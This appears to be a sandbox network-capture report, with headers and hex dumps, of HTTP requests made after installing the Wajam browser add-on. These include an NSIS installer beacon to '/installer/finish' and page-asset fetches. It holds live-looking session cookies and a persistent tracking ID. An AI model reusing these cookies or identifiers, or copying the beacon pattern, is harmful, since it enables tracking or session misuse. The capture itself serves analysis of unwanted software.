GET /css/webfonts/F37F5_1.eot? HTTP/1.1 Accept: */* Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp= Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Origin: http://www.wajam.com Accept-Encoding: gzip, deflate Host: www.wajam.com DNT: 1 Connection: Keep-Alive Cookie: _wau=15609585538671540; _wal=1560958626; PHPSESSID=239dc928casm20ommfnjagevfd... More Details

Format

Details

Request

GET /css/webfonts/F37F5_1.eot? HTTP/1.1
Accept: */*
Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Origin: http://www.wajam.com
Accept-Encoding: gzip, deflate
Host: www.wajam.com
DNT: 1
Connection: Keep-Alive
Cookie: _wau=15609585538671540; _wal=1560958626; PHPSESSID=239dc928casm20ommfnjagevfd; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; wajam_ie_addon_installed=1; APPSESSID=w3|XQpWp|XQpWp

Raw Hex

     0 : 00 00 5E 00 01 01 0A 00 27 13 10 A2 08 00 45 00 [..^.....'.....E.]
    10 : 02 A3 0C 0C 40 00 80 06 AA A9 C0 A8 F0 F9 05 87 [....@...........]
    20 : 8A 76 C1 05 00 50 38 09 15 33 68 1E 9C EA 50 18 [.v...P8..3h...P.]
    30 : FA F0 F9 D7 00 00 47 45 54 20 2F 63 73 73 2F 77 [......GET /css/w]
    40 : 65 62 66 6F 6E 74 73 2F 46 33 37 46 35 5F 31 2E [ebfonts/F37F5_1.]
    50 : 65 6F 74 3F 20 48 54 54 50 2F 31 2E 31 0D 0A 41 [eot? HTTP/1.1..A]
    60 : 63 63 65 70 74 3A 20 2A 2F 2A 0D 0A 52 65 66 65 [ccept: */*..Refe]
    70 : 72 65 72 3A 20 68 74 74 70 3A 2F 2F 77 77 77 2E [rer: http://www.]
    80 : 77 61 6A 61 6D 2E 63 6F 6D 2F 69 6E 64 65 78 2E [wajam.com/index.]
    90 : 70 68 70 3F 66 69 72 73 74 72 75 6E 3D 31 26 75 [php?firstrun=1&u]
    A0 : 6E 69 71 75 65 5F 69 64 3D 43 37 43 39 32 44 38 [nique_id=C7C92D8]
    B0 : 37 46 31 45 46 32 42 43 35 34 42 46 31 46 33 38 [7F1EF2BC54BF1F38]
    C0 : 32 45 35 39 34 39 38 35 37 26 61 69 64 3D 33 36 [2E5949857&aid=36]
    D0 : 37 33 26 61 69 64 32 3D 6E 6F 6E 65 26 65 6E 61 [73&aid2=none&ena]
    E0 : 62 6C 65 64 3D 31 26 74 76 3D 31 2E 39 32 2D 31 [bled=1&tv=1.92-1]
    F0 : 33 26 69 6E 73 74 61 6C 6C 5F 74 69 6D 65 73 74 [3&install_timest]
   100 : 61 6D 70 3D 31 35 36 30 39 36 35 38 33 31 26 63 [amp=1560965831&c]
   110 : 6C 70 3D 0D 0A 41 63 63 65 70 74 2D 4C 61 6E 67 [lp=..Accept-Lang]
   120 : 75 61 67 65 3A 20 65 6E 2D 55 53 0D 0A 55 73 65 [uage: en-US..Use]
   130 : 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 [r-Agent: Mozilla]
   140 : 2F 35 2E 30 20 28 57 69 6E 64 6F 77 73 20 4E 54 [/5.0 (Windows NT]
   150 : 20 36 2E 31 3B 20 54 72 69 64 65 6E 74 2F 37 2E [ 6.1; Trident/7.]
   160 : 30 3B 20 72 76 3A 31 31 2E 30 29 20 6C 69 6B 65 [0; rv:11.0) like]
   170 : 20 47 65 63 6B 6F 0D 0A 4F 72 69 67 69 6E 3A 20 [ Gecko..Origin: ]
   180 : 68 74 74 70 3A 2F 2F 77 77 77 2E 77 61 6A 61 6D [http://www.wajam]
   190 : 2E 63 6F 6D 0D 0A 41 63 63 65 70 74 2D 45 6E 63 [.com..Accept-Enc]
   1A0 : 6F 64 69 6E 67 3A 20 67 7A 69 70 2C 20 64 65 66 [oding: gzip, def]
   1B0 : 6C 61 74 65 0D 0A 48 6F 73 74 3A 20 77 77 77 2E [late..Host: www.]
   1C0 : 77 61 6A 61 6D 2E 63 6F 6D 0D 0A 44 4E 54 3A 20 [wajam.com..DNT: ]
   1D0 : 31 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 4B [1..Connection: K]
   1E0 : 65 65 70 2D 41 6C 69 76 65 0D 0A 43 6F 6F 6B 69 [eep-Alive..Cooki]
   1F0 : 65 3A 20 5F 77 61 75 3D 31 35 36 30 39 35 38 35 [e: _wau=15609585]
   200 : 35 33 38 36 37 31 35 34 30 3B 20 5F 77 61 6C 3D [538671540; _wal=]
   210 : 31 35 36 30 39 35 38 36 32 36 3B 20 50 48 50 53 [1560958626; PHPS]
   220 : 45 53 53 49 44 3D 32 33 39 64 63 39 32 38 63 61 [ESSID=239dc928ca]
   230 : 73 6D 32 30 6F 6D 6D 66 6E 6A 61 67 65 76 66 64 [sm20ommfnjagevfd]
   240 : 3B 20 6E 6F 74 5F 6C 6F 67 67 65 64 5F 75 6E 69 [; not_logged_uni]
   250 : 71 75 65 5F 69 64 3D 43 37 43 39 32 44 38 37 46 [que_id=C7C92D87F]
   260 : 31 45 46 32 42 43 35 34 42 46 31 46 33 38 32 45 [1EF2BC54BF1F382E]
   270 : 35 39 34 39 38 35 37 3B 20 77 61 6A 61 6D 5F 69 [5949857; wajam_i]
   280 : 65 5F 61 64 64 6F 6E 5F 69 6E 73 74 61 6C 6C 65 [e_addon_installe]
   290 : 64 3D 31 3B 20 41 50 50 53 45 53 53 49 44 3D 77 [d=1; APPSESSID=w]
   2A0 : 33 7C 58 51 70 57 70 7C 58 51 70 57 70 0D 0A 0D [3|XQpWp|XQpWp...]
   2B0 : 0A [.]

5.135.138.118:80 (www.wajam.com)

GET

www.wajam.com/installer/finish?aid=3673&aid2=none&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&tv=1.92-13&install_timestamp=1560965831

GET /installer/finish?aid=3673&aid2=none&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&tv=1.92-13&install_timestamp=1560965831 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: www.wajam.com Connection: Keep-Alive Cache-Control: no-cache Cookie: PHPSESSID=vmnbhu240179dbfikdpk82ajel; _wau=15609585538671540; _wal=1560958626; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; APPSESSID=w3|XQpWo|XQpWf More Details

Format

Details

Request

GET /installer/finish?aid=3673&aid2=none&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&tv=1.92-13&install_timestamp=1560965831 HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: www.wajam.com
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: PHPSESSID=vmnbhu240179dbfikdpk82ajel; _wau=15609585538671540; _wal=1560958626; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; APPSESSID=w3|XQpWo|XQpWf

Raw Hex

     0 : 00 00 5E 00 01 01 0A 00 27 13 10 A2 08 00 45 00 [..^.....'.....E.]
    10 : 01 C0 0C 19 40 00 80 06 AB 7F C0 A8 F0 F9 05 87 [....@...........]
    20 : 8A 76 C1 09 00 50 35 D9 B3 B2 84 77 7F F9 50 18 [.v...P5....w..P.]
    30 : FA F0 7D 28 00 00 47 45 54 20 2F 69 6E 73 74 61 [..}(..GET /insta]
    40 : 6C 6C 65 72 2F 66 69 6E 69 73 68 3F 61 69 64 3D [ller/finish?aid=]
    50 : 33 36 37 33 26 61 69 64 32 3D 6E 6F 6E 65 26 75 [3673&aid2=none&u]
    60 : 6E 69 71 75 65 5F 69 64 3D 43 37 43 39 32 44 38 [nique_id=C7C92D8]
    70 : 37 46 31 45 46 32 42 43 35 34 42 46 31 46 33 38 [7F1EF2BC54BF1F38]
    80 : 32 45 35 39 34 39 38 35 37 26 74 76 3D 31 2E 39 [2E5949857&tv=1.9]
    90 : 32 2D 31 33 26 69 6E 73 74 61 6C 6C 5F 74 69 6D [2-13&install_tim]
    A0 : 65 73 74 61 6D 70 3D 31 35 36 30 39 36 35 38 33 [estamp=156096583]
    B0 : 31 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 [1 HTTP/1.1..User]
    C0 : 2D 41 67 65 6E 74 3A 20 4E 53 49 53 5F 49 6E 65 [-Agent: NSIS_Ine]
    D0 : 74 63 20 28 4D 6F 7A 69 6C 6C 61 29 0D 0A 48 6F [tc (Mozilla)..Ho]
    E0 : 73 74 3A 20 77 77 77 2E 77 61 6A 61 6D 2E 63 6F [st: www.wajam.co]
    F0 : 6D 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 4B [m..Connection: K]
   100 : 65 65 70 2D 41 6C 69 76 65 0D 0A 43 61 63 68 65 [eep-Alive..Cache]
   110 : 2D 43 6F 6E 74 72 6F 6C 3A 20 6E 6F 2D 63 61 63 [-Control: no-cac]
   120 : 68 65 0D 0A 43 6F 6F 6B 69 65 3A 20 50 48 50 53 [he..Cookie: PHPS]
   130 : 45 53 53 49 44 3D 76 6D 6E 62 68 75 32 34 30 31 [ESSID=vmnbhu2401]
   140 : 37 39 64 62 66 69 6B 64 70 6B 38 32 61 6A 65 6C [79dbfikdpk82ajel]
   150 : 3B 20 5F 77 61 75 3D 31 35 36 30 39 35 38 35 35 [; _wau=156095855]
   160 : 33 38 36 37 31 35 34 30 3B 20 5F 77 61 6C 3D 31 [38671540; _wal=1]
   170 : 35 36 30 39 35 38 36 32 36 3B 20 6E 6F 74 5F 6C [560958626; not_l]
   180 : 6F 67 67 65 64 5F 75 6E 69 71 75 65 5F 69 64 3D [ogged_unique_id=]
   190 : 43 37 43 39 32 44 38 37 46 31 45 46 32 42 43 35 [C7C92D87F1EF2BC5]
   1A0 : 34 42 46 31 46 33 38 32 45 35 39 34 39 38 35 37 [4BF1F382E5949857]
   1B0 : 3B 20 41 50 50 53 45 53 53 49 44 3D 77 33 7C 58 [; APPSESSID=w3|X]
   1C0 : 51 70 57 6F 7C 58 51 70 57 66 0D 0A 0D 0A [QpWo|XQpWf....]

151.139.244.29:80 (media-c9hg3zwqygdshhtrps.stackpathdns.com)

GET

media-c9hg3zwqygdshhtrps.stackpathdns.com/imgs/app/wajam/mainSprite.png

GET /imgs/app/wajam/mainSprite.png HTTP/1.1 Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5 Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp= Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: media-c9hg3zwqygdshhtrps.stackpathdns.com DNT: 1 Connection: Keep-Alive More Details

Format

Details

Request

GET /imgs/app/wajam/mainSprite.png HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: media-c9hg3zwqygdshhtrps.stackpathdns.com
DNT: 1
Connection: Keep-Alive

Raw Hex

     0 : 00 00 5E 00 01 01 0A 00 27 13 10 A2 08 00 45 00 [..^.....'.....E.]
    10 : 02 10 0C 46 40 00 80 06 AF 56 C0 A8 F0 F9 97 8B [...F@....V......]
    20 : F4 1D C1 0D 00 50 6C 96 B0 E4 2C 35 3D BA 50 18 [.....Pl...,5=.P.]
    30 : 01 00 D8 AD 00 00 47 45 54 20 2F 69 6D 67 73 2F [......GET /imgs/]
    40 : 61 70 70 2F 77 61 6A 61 6D 2F 6D 61 69 6E 53 70 [app/wajam/mainSp]
    50 : 72 69 74 65 2E 70 6E 67 20 48 54 54 50 2F 31 2E [rite.png HTTP/1.]
    60 : 31 0D 0A 41 63 63 65 70 74 3A 20 69 6D 61 67 65 [1..Accept: image]
    70 : 2F 70 6E 67 2C 20 69 6D 61 67 65 2F 73 76 67 2B [/png, image/svg+]
    80 : 78 6D 6C 2C 20 69 6D 61 67 65 2F 2A 3B 71 3D 30 [xml, image/*;q=0]
    90 : 2E 38 2C 20 2A 2F 2A 3B 71 3D 30 2E 35 0D 0A 52 [.8, */*;q=0.5..R]
    A0 : 65 66 65 72 65 72 3A 20 68 74 74 70 3A 2F 2F 77 [eferer: http://w]
    B0 : 77 77 2E 77 61 6A 61 6D 2E 63 6F 6D 2F 69 6E 64 [ww.wajam.com/ind]
    C0 : 65 78 2E 70 68 70 3F 66 69 72 73 74 72 75 6E 3D [ex.php?firstrun=]
    D0 : 31 26 75 6E 69 71 75 65 5F 69 64 3D 43 37 43 39 [1&unique_id=C7C9]
    E0 : 32 44 38 37 46 31 45 46 32 42 43 35 34 42 46 31 [2D87F1EF2BC54BF1]
    F0 : 46 33 38 32 45 35 39 34 39 38 35 37 26 61 69 64 [F382E5949857&aid]
   100 : 3D 33 36 37 33 26 61 69 64 32 3D 6E 6F 6E 65 26 [=3673&aid2=none&]
   110 : 65 6E 61 62 6C 65 64 3D 31 26 74 76 3D 31 2E 39 [enabled=1&tv=1.9]
   120 : 32 2D 31 33 26 69 6E 73 74 61 6C 6C 5F 74 69 6D [2-13&install_tim]
   130 : 65 73 74 61 6D 70 3D 31 35 36 30 39 36 35 38 33 [estamp=156096583]
   140 : 31 26 63 6C 70 3D 0D 0A 41 63 63 65 70 74 2D 4C [1&clp=..Accept-L]
   150 : 61 6E 67 75 61 67 65 3A 20 65 6E 2D 55 53 0D 0A [anguage: en-US..]
   160 : 55 73 65 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 [User-Agent: Mozi]
   170 : 6C 6C 61 2F 35 2E 30 20 28 57 69 6E 64 6F 77 73 [lla/5.0 (Windows]
   180 : 20 4E 54 20 36 2E 31 3B 20 54 72 69 64 65 6E 74 [ NT 6.1; Trident]
   190 : 2F 37 2E 30 3B 20 72 76 3A 31 31 2E 30 29 20 6C [/7.0; rv:11.0) l]
   1A0 : 69 6B 65 20 47 65 63 6B 6F 0D 0A 41 63 63 65 70 [ike Gecko..Accep]
   1B0 : 74 2D 45 6E 63 6F 64 69 6E 67 3A 20 67 7A 69 70 [t-Encoding: gzip]
   1C0 : 2C 20 64 65 66 6C 61 74 65 0D 0A 48 6F 73 74 3A [, deflate..Host:]
   1D0 : 20 6D 65 64 69 61 2D 63 39 68 67 33 7A 77 71 79 [ media-c9hg3zwqy]
   1E0 : 67 64 73 68 68 74 72 70 73 2E 73 74 61 63 6B 70 [gdshhtrps.stackp]
   1F0 : 61 74 68 64 6E 73 2E 63 6F 6D 0D 0A 44 4E 54 3A [athdns.com..DNT:]
   200 : 20 31 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 [ 1..Connection: ]
   210 : 4B 65 65 70 2D 41 6C 69 76 65 0D 0A 0D 0A [Keep-Alive....]

151.139.244.29:80 (media-c9hg3zwqygdshhtrps.stackpathdns.com)

GET

media-c9hg3zwqygdshhtrps.stackpathdns.com/imgs/subHeader_bkg.png

GET /imgs/subHeader_bkg.png HTTP/1.1 Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5 Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp= Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: media-c9hg3zwqygdshhtrps.stackpathdns.com DNT: 1 Connection: Keep-Alive More Details

Format

Details

Request

GET /imgs/subHeader_bkg.png HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: media-c9hg3zwqygdshhtrps.stackpathdns.com
DNT: 1
Connection: Keep-Alive

Raw Hex

     0 : 00 00 5E 00 01 01 0A 00 27 13 10 A2 08 00 45 00 [..^.....'.....E.]
    10 : 02 09 0C 47 40 00 80 06 AF 5C C0 A8 F0 F9 97 8B [...G@....\......]
    20 : F4 1D C1 0F 00 50 D9 E2 1C 1A 25 76 57 02 50 18 [.....P....%vW.P.]
    30 : 01 00 98 A4 00 00 47 45 54 20 2F 69 6D 67 73 2F [......GET /imgs/]
    40 : 73 75 62 48 65 61 64 65 72 5F 62 6B 67 2E 70 6E [subHeader_bkg.pn]
    50 : 67 20 48 54 54 50 2F 31 2E 31 0D 0A 41 63 63 65 [g HTTP/1.1..Acce]
    60 : 70 74 3A 20 69 6D 61 67 65 2F 70 6E 67 2C 20 69 [pt: image/png, i]
    70 : 6D 61 67 65 2F 73 76 67 2B 78 6D 6C 2C 20 69 6D [mage/svg+xml, im]
    80 : 61 67 65 2F 2A 3B 71 3D 30 2E 38 2C 20 2A 2F 2A [age/*;q=0.8, */*]
    90 : 3B 71 3D 30 2E 35 0D 0A 52 65 66 65 72 65 72 3A [;q=0.5..Referer:]
    A0 : 20 68 74 74 70 3A 2F 2F 77 77 77 2E 77 61 6A 61 [ http://www.waja]
    B0 : 6D 2E 63 6F 6D 2F 69 6E 64 65 78 2E 70 68 70 3F [m.com/index.php?]
    C0 : 66 69 72 73 74 72 75 6E 3D 31 26 75 6E 69 71 75 [firstrun=1&uniqu]
    D0 : 65 5F 69 64 3D 43 37 43 39 32 44 38 37 46 31 45 [e_id=C7C92D87F1E]
    E0 : 46 32 42 43 35 34 42 46 31 46 33 38 32 45 35 39 [F2BC54BF1F382E59]
    F0 : 34 39 38 35 37 26 61 69 64 3D 33 36 37 33 26 61 [49857&aid=3673&a]
   100 : 69 64 32 3D 6E 6F 6E 65 26 65 6E 61 62 6C 65 64 [id2=none&enabled]
   110 : 3D 31 26 74 76 3D 31 2E 39 32 2D 31 33 26 69 6E [=1&tv=1.92-13&in]
   120 : 73 74 61 6C 6C 5F 74 69 6D 65 73 74 61 6D 70 3D [stall_timestamp=]
   130 : 31 35 36 30 39 36 35 38 33 31 26 63 6C 70 3D 0D [1560965831&clp=.]
   140 : 0A 41 63 63 65 70 74 2D 4C 61 6E 67 75 61 67 65 [.Accept-Language]
   150 : 3A 20 65 6E 2D 55 53 0D 0A 55 73 65 72 2D 41 67 [: en-US..User-Ag]
   160 : 65 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 2F 35 2E 30 [ent: Mozilla/5.0]
   170 : 20 28 57 69 6E 64 6F 77 73 20 4E 54 20 36 2E 31 [ (Windows NT 6.1]
   180 : 3B 20 54 72 69 64 65 6E 74 2F 37 2E 30 3B 20 72 [; Trident/7.0; r]
   190 : 76 3A 31 31 2E 30 29 20 6C 69 6B 65 20 47 65 63 [v:11.0) like Gec]
   1A0 : 6B 6F 0D 0A 41 63 63 65 70 74 2D 45 6E 63 6F 64 [ko..Accept-Encod]
   1B0 : 69 6E 67 3A 20 67 7A 69 70 2C 20 64 65 66 6C 61 [ing: gzip, defla]
   1C0 : 74 65 0D 0A 48 6F 73 74 3A 20 6D 65 64 69 61 2D [te..Host: media-]
   1D0 : 63 39 68 67 33 7A 77 71 79 67 64 73 68 68 74 72 [c9hg3zwqygdshhtr]
   1E0 : 70 73 2E 73 74 61 63 6B 70 61 74 68 64 6E 73 2E [ps.stackpathdns.]
   1F0 : 63 6F 6D 0D 0A 44 4E 54 3A 20 31 0D 0A 43 6F 6E [com..DNT: 1..Con]
   200 : 6E 65 63 74 69 6F 6E 3A 20 4B 65 65 70 2D 41 6C [nection: Keep-Al]
   210 : 69 76 65 0D 0A 0D 0A [ive....]

151.139.244.29:80 (media-c9hg3zwqygdshhtrps.stackpathdns.com)

GET

media-c9hg3zwqygdshhtrps.stackpathdns.com/imgs/fancybox/blank.gif

GET /imgs/fancybox/blank.gif HTTP/1.1 Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5 Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp= Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: media-c9hg3zwqygdshhtrps.stackpathdns.com DNT: 1 Connection: Keep-Alive More Details

Format

Details

Request

GET /imgs/fancybox/blank.gif HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: media-c9hg3zwqygdshhtrps.stackpathdns.com
DNT: 1
Connection: Keep-Alive

Raw Hex

     0 : 00 00 5E 00 01 01 0A 00 27 13 10 A2 08 00 45 00 [..^.....'.....E.]
    10 : 02 0A 0C 48 40 00 80 06 AF 5A C0 A8 F0 F9 97 8B [...H@....Z......]
    20 : F4 1D C1 10 00 50 FD B2 F0 2A 6A 56 8C AD 50 18 [.....P...*jV..P.]
    30 : 01 00 EA 15 00 00 47 45 54 20 2F 69 6D 67 73 2F [......GET /imgs/]
    40 : 66 61 6E 63 79 62 6F 78 2F 62 6C 61 6E 6B 2E 67 [fancybox/blank.g]
    50 : 69 66 20 48 54 54 50 2F 31 2E 31 0D 0A 41 63 63 [if HTTP/1.1..Acc]
    60 : 65 70 74 3A 20 69 6D 61 67 65 2F 70 6E 67 2C 20 [ept: image/png, ]
    70 : 69 6D 61 67 65 2F 73 76 67 2B 78 6D 6C 2C 20 69 [image/svg+xml, i]
    80 : 6D 61 67 65 2F 2A 3B 71 3D 30 2E 38 2C 20 2A 2F [mage/*;q=0.8, */]
    90 : 2A 3B 71 3D 30 2E 35 0D 0A 52 65 66 65 72 65 72 [*;q=0.5..Referer]
    A0 : 3A 20 68 74 74 70 3A 2F 2F 77 77 77 2E 77 61 6A [: http://www.waj]
    B0 : 61 6D 2E 63 6F 6D 2F 69 6E 64 65 78 2E 70 68 70 [am.com/index.php]
    C0 : 3F 66 69 72 73 74 72 75 6E 3D 31 26 75 6E 69 71 [?firstrun=1&uniq]
    D0 : 75 65 5F 69 64 3D 43 37 43 39 32 44 38 37 46 31 [ue_id=C7C92D87F1]
    E0 : 45 46 32 42 43 35 34 42 46 31 46 33 38 32 45 35 [EF2BC54BF1F382E5]
    F0 : 39 34 39 38 35 37 26 61 69 64 3D 33 36 37 33 26 [949857&aid=3673&]
   100 : 61 69 64 32 3D 6E 6F 6E 65 26 65 6E 61 62 6C 65 [aid2=none&enable]
   110 : 64 3D 31 26 74 76 3D 31 2E 39 32 2D 31 33 26 69 [d=1&tv=1.92-13&i]
   120 : 6E 73 74 61 6C 6C 5F 74 69 6D 65 73 74 61 6D 70 [nstall_timestamp]
   130 : 3D 31 35 36 30 39 36 35 38 33 31 26 63 6C 70 3D [=1560965831&clp=]
   140 : 0D 0A 41 63 63 65 70 74 2D 4C 61 6E 67 75 61 67 [..Accept-Languag]
   150 : 65 3A 20 65 6E 2D 55 53 0D 0A 55 73 65 72 2D 41 [e: en-US..User-A]
   160 : 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 2F 35 2E [gent: Mozilla/5.]
   170 : 30 20 28 57 69 6E 64 6F 77 73 20 4E 54 20 36 2E [0 (Windows NT 6.]
   180 : 31 3B 20 54 72 69 64 65 6E 74 2F 37 2E 30 3B 20 [1; Trident/7.0; ]
   190 : 72 76 3A 31 31 2E 30 29 20 6C 69 6B 65 20 47 65 [rv:11.0) like Ge]
   1A0 : 63 6B 6F 0D 0A 41 63 63 65 70 74 2D 45 6E 63 6F [cko..Accept-Enco]
   1B0 : 64 69 6E 67 3A 20 67 7A 69 70 2C 20 64 65 66 6C [ding: gzip, defl]
   1C0 : 61 74 65 0D 0A 48 6F 73 74 3A 20 6D 65 64 69 61 [ate..Host: media]
   1D0 : 2D 63 39 68 67 33 7A 77 71 79 67 64 73 68 68 74 [-c9hg3zwqygdshht]
   1E0 : 72 70 73 2E 73 74 61 63 6B 70 61 74 68 64 6E 73 [rps.stackpathdns]
   1F0 : 2E 63 6F 6D 0D 0A 44 4E 54 3A 20 31 0D 0A 43 6F [.com..DNT: 1..Co]
   200 : 6E 6E 65 63 74 69 6F 6E 3A 20 4B 65 65 70 2D 41 [nnection: Keep-A]
   210 : 6C 69 76 65 0D 0A 0D 0A [live....]

151.139.244.29:80 (media-c9hg3zwqygdshhtrps.stackpathdns.com)

GET

media-c9hg3zwqygdshhtrps.stackpathdns.com/imgs/header_bkg.png

GET /imgs/header_bkg.png HTTP/1.1 Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5 Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp= Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: media-c9hg3zwqygdshhtrps.stackpathdns.com DNT: 1 Connection: Keep-Alive More Details

Format

Details

Request

GET /imgs/header_bkg.png HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: media-c9hg3zwqygdshhtrps.stackpathdns.com
DNT: 1
Connection: Keep-Alive

Raw Hex

     0 : 00 00 5E 00 01 01 0A 00 27 13 10 A2 08 00 45 00 [..^.....'.....E.]
    10 : 02 06 0C 49 40 00 80 06 AF 5D C0 A8 F0 F9 97 8B [...I@....]......]
    20 : F4 1D C1 0E 00 50 F3 54 BA 97 18 F3 28 FB 50 18 [.....P.T....(.P.]
    30 : 01 00 A7 E1 00 00 47 45 54 20 2F 69 6D 67 73 2F [......GET /imgs/]
    40 : 68 65 61 64 65 72 5F 62 6B 67 2E 70 6E 67 20 48 [header_bkg.png H]
    50 : 54 54 50 2F 31 2E 31 0D 0A 41 63 63 65 70 74 3A [TTP/1.1..Accept:]
    60 : 20 69 6D 61 67 65 2F 70 6E 67 2C 20 69 6D 61 67 [ image/png, imag]
    70 : 65 2F 73 76 67 2B 78 6D 6C 2C 20 69 6D 61 67 65 [e/svg+xml, image]
    80 : 2F 2A 3B 71 3D 30 2E 38 2C 20 2A 2F 2A 3B 71 3D [/*;q=0.8, */*;q=]
    90 : 30 2E 35 0D 0A 52 65 66 65 72 65 72 3A 20 68 74 [0.5..Referer: ht]
    A0 : 74 70 3A 2F 2F 77 77 77 2E 77 61 6A 61 6D 2E 63 [tp://www.wajam.c]
    B0 : 6F 6D 2F 69 6E 64 65 78 2E 70 68 70 3F 66 69 72 [om/index.php?fir]
    C0 : 73 74 72 75 6E 3D 31 26 75 6E 69 71 75 65 5F 69 [strun=1&unique_i]
    D0 : 64 3D 43 37 43 39 32 44 38 37 46 31 45 46 32 42 [d=C7C92D87F1EF2B]
    E0 : 43 35 34 42 46 31 46 33 38 32 45 35 39 34 39 38 [C54BF1F382E59498]
    F0 : 35 37 26 61 69 64 3D 33 36 37 33 26 61 69 64 32 [57&aid=3673&aid2]
   100 : 3D 6E 6F 6E 65 26 65 6E 61 62 6C 65 64 3D 31 26 [=none&enabled=1&]
   110 : 74 76 3D 31 2E 39 32 2D 31 33 26 69 6E 73 74 61 [tv=1.92-13&insta]
   120 : 6C 6C 5F 74 69 6D 65 73 74 61 6D 70 3D 31 35 36 [ll_timestamp=156]
   130 : 30 39 36 35 38 33 31 26 63 6C 70 3D 0D 0A 41 63 [0965831&clp=..Ac]
   140 : 63 65 70 74 2D 4C 61 6E 67 75 61 67 65 3A 20 65 [cept-Language: e]
   150 : 6E 2D 55 53 0D 0A 55 73 65 72 2D 41 67 65 6E 74 [n-US..User-Agent]
   160 : 3A 20 4D 6F 7A 69 6C 6C 61 2F 35 2E 30 20 28 57 [: Mozilla/5.0 (W]
   170 : 69 6E 64 6F 77 73 20 4E 54 20 36 2E 31 3B 20 54 [indows NT 6.1; T]
   180 : 72 69 64 65 6E 74 2F 37 2E 30 3B 20 72 76 3A 31 [rident/7.0; rv:1]
   190 : 31 2E 30 29 20 6C 69 6B 65 20 47 65 63 6B 6F 0D [1.0) like Gecko.]
   1A0 : 0A 41 63 63 65 70 74 2D 45 6E 63 6F 64 69 6E 67 [.Accept-Encoding]
